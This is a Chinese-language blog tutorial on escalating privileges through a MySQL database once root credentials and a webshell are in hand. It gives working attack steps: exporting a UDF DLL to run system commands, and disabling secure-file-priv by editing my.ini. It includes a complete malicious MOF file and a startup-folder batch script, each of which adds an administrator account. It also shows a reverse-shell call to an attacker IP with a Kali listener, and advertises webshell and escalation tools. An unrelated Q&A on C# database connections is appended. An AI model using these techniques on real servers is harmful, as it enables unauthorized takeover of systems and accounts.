MYSQL数据库提权的几种方法——提权教程

一、简介

在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权。

数据库提权的前提条件:

1、服务器开启数据库服务
2、获取到最高权限用户密码
(除Access数据库外,其他数据库基本都存在数据库提权的可能)

常见密码获取方式:

1、读取网站数据库配置文件(了解其命名规则及查找技巧)
例如:sql data inc config conn database common include等
2、读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
例如:@@basedir/data/数据库名/表名.myd
3、 利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联)
例如:远程本地暴力猜解,服务器本地暴力猜解(未开启外联,需要上传数据库暴力破解脚本到网站后执行)

实验前提条件:
假设我们已经获取mysql数据库的用户名密码为root/root,并且上传了php大马webshell

二、 UDF导出提权

总结
利用自定义执行函数导出dll文件进行命令执行
select version() select @@basedir
手工创建plugin目录或利用NTFS流创建

提权示例 一

第一步:导出dll文件

1.mysql<5.1 导出目录c:/windows或system32
2.mysql=>5.1 导出安装目录/lib/plugin/ 例如:C:/phpStudy/PHPTutorial/MySQL/lib/plugin//moonudf.dll

一般Lib、Plugin文件夹需要手工建立(也可用NTFS ADS流模式突破进而创建文件夹)

上传一个 mysql全版本通杀提权神器 到目标网站,如下图所示:
选择导出dll文件,但是报错 “udf导出失败请查看失败内容The MySQL server is running with the --secure-file-priv option so it cannot execute this statement”
在这里插入图片描述
secure-file-priv简介:

在高版本中有个参数:secure-file-priv,这个参数限制了MySQL的导出:该参数为NULL时不允许导出,该参数为空时允许在任意文件夹中导出,该参数为某文件夹时允许在该文件夹中导出。

解决办法:

利用php大马webshell手工修改my.ini配置文件,添加 secure-file-priv=,之后想办法,让目标网站重启一下mysql服务即可使修改的配置生效(例如,上传可以执行命令的大马,或者菜刀执行cmd命令,启动mysql服务:net stop mysql 停止mysql服务:net start mysql)
在这里插入图片描述
配置修改生效后,再次导出dll文件,导出成功
在这里插入图片描述

第二步:提权

成功导出dll文件后、先创建sys_eval,之后可以查看当前用户等操作,提权成功
在这里插入图片描述
注意:

如果是安装的mysql服务,那么此时查看权限是system权限,而我测试用的是 phpstudy的mysql是,所以是administrator权限,也就是 phpstudy运行的权限

php大马webshell、mysql全版本通杀提权神器2014版,都已在我的资源中上传

提权示例 二

除了专门的mysql udf提权php脚本外,php大马也有udf提权功能,同样得输入dll文件的安装路径才可以
在这里插入图片描述
可以自己输入命令,也可以用工具自带的。
缺点:php大马没有反弹shell的功能,MySQL udf提权脚本有反弹shell的功能
在这里插入图片描述

二、MOF加载提权

总结
导出自定义mof文件到系统目录加载

实验前提条件:
同udf一样需要手工修改my.ini配置文件,添加 secure-file-priv=

mof介绍

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式",其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

第一步:
通过webshell将adduser.mof文件上传到网站根目录
在这里插入图片描述
mof文件内容

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin123!@# /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

第二步:提权

使用sql语句将系统当中默认的nullevt.mof给替换掉,让系统执行我们这个恶意的mof文件,来添加admin账户。

select load_file(‘C:/phpStudy/PHPTutorial/WWW/adduser.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
在这里插入图片描述
过一会儿后,查看目标服务器用户,发现admin账户被创建
在这里插入图片描述
参考链接:https://www.cnblogs.com/xishaonian/p/6384535.html

三、 启动项重启提权

总结
导出自定义bat或vbs到启动目录配合重启执行

第一步:

将创建好的adduser.bat进行服务器启动项写入,配合重启执行!
写一个adduser.bat文件

@echo
net user ceshi 123!@#ws /add

通过文件上传上传adduser.bat文件到网站根目录
在这里插入图片描述
通过sql命令写入到启动项中
select load_file(‘C:/phpStudy/PHPTutorial/WWW/adduser.bat’) into dumpfile ‘C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/adduser.bat’;
在这里插入图片描述
第二步:提权

之后让目标服务器重启后,查看发现用户被创建,bat文件执行
在这里插入图片描述

四、反弹SHELL提权

总结
用于UDF没有成功取得cmdshell和MOF提权都失败的情况,采用MYSQL反弹函数获取权限,不再调用命令执行类函数!

**原因:**服务器限制cmdshell命令执行拓展关闭,开启了防护 ,那么UDF提权就失败,cmdshell就没了,只能进行backshell反弹。

在反弹shell的时候,shell执行成功,却没有监听到返回信息,是因为原因:阿里云服务器端口使用需要设置端口允许,默认是全部不允许的

第一步:

访问提权大马
在这里插入图片描述
导出dll文件
在这里插入图片描述
第二步:提权

创建反弹shell函数
在这里插入图片描述
执行反弹shell命令:select backshell(‘192.168.184.139’,12345)
在这里插入图片描述
kali监听端口,成功反弹shell
在这里插入图片描述

后续还有别的提权复现 会继续更新

更多资源:

1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程

收集整理在知识星球,可加入知识星球进行查看。
在这里插入图片描述

  • 7
    点赞
  • 54
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论
### 回答1: 使用 C# 连接数据库方法有很多种,这里列出常见的几种方法供参考。 1. ADO.NET: ADO.NET 是一组用于访问数据的类,它提供了连接数据库、执行查询和命令、检索结果等功能。使用 ADO.NET 连接数据库需要先引用 System.Data 命名空间。 2. LINQ to SQL: LINQ to SQL 是 .NET Framework 提供的一种技术,它使用 LINQ 查询语言访问 SQL Server 数据库。使用 LINQ to SQL 连接数据库需要先引用 System.Data.Linq 命名空间。 3. Entity Framework: Entity Framework 是 .NET Framework 提供的一种用于访问数据库的对象关系映射(ORM)框架。它可以让你使用面向对象的方式访问数据库,而无需编写大量的数据访问代码。使用 Entity Framework 连接数据库需要先引用 System.Data.Entity 命名空间。 以上三种方法都可以用于连接数据库,具体使用哪一种方法要根据实际情况来决定。 ### 回答2: C#是一种强大的编程语言,可以连接各种类型的数据库。在C#中连接数据库通常有两种方式:使用原生的ADO.NET库和使用Entity Framework。 使用原生的ADO.NET库连接数据库可以直接与数据库进行交互。首先需要在代码中引入System.Data命名空间,然后使用SqlConnection类来建立与数据库的连接。连接字符串指定了数据库的位置和认证信息。连接建立后,可以使用SqlCommand类来执行SQL语句,例如查询、插入、更新和删除等操作。查询的结果可以通过SqlDataReader类来获取。在使用完数据库后,需要记得关闭连接。 除了使用原生的ADO.NET库,C#还提供了一个更高层次的ORM(对象关系映射)工具——Entity Framework。Entity Framework是一个数据库访问技术,它可以将数据库中的数据映射到C#的对象上,使得开发者可以使用面向对象的方式来操作数据库。通过定义实体类,使用DbContext类建立连接,并通过LINQ查询语言进行数据的增删改查操作。 不论是使用原生的ADO.NET库还是Entity Framework,连接数据库的过程都需要一个正确的连接字符串以及对应的数据库提供程序(如SqlServer、MySQL等)。在C#中连接数据库可以方便地进行各种数据库操作,实现数据的存储和检索功能。 ### 回答3: C#是一种流行的编程语言,用于开发各种应用程序,包括与数据库的连接。连接数据库是在C#中执行数据读取、写入和查询等操作的基本步骤。下面是一个简单的示例,演示如何在C#中连接数据库: 首先,需要在C#项目中引用适当的数据库驱动程序。最常见的选择是使用ADO.NET库进行数据库连接。 然后,在C#代码中导入相应的命名空间,例如System.Data.SqlClient或者System.Data.OleDb,以便使用所需的数据库类和方法。 接下来,在代码中创建一个新的数据库连接对象。使用连接字符串(Connection String)指定数据库的名称、位置和其他连接参数。连接字符串告诉程序如何连接到数据库。 然后,打开数据库连接,可以使用Open()方法来实现。 连接数据库后,可以执行各种数据库操作,例如读取数据、写入数据或者查询数据。可以使用C#中的SqlCommand和SqlDataReader等类来执行这些操作。SqlCommand类用于执行SQL命令,而SqlDataReader类用于读取数据库返回的数据。 最后,在不再需要连接时,使用Close()方法关闭数据库连接。 在连接数据库时,还需要注意一些安全性和性能问题。比如,可以使用参数化查询来避免SQL注入攻击,还可以使用连接池来提高数据库连接的性能和效率。 以上是一个简单的C#连接数据库的概述。实际使用时,还需要根据不同的数据库类型和具体需求来选择适当的方法和操作。此外,网络上还有很多更详细和深入的教程和文档可以帮助进一步学习和理解如何在C#中连接数据库
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W小哥1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值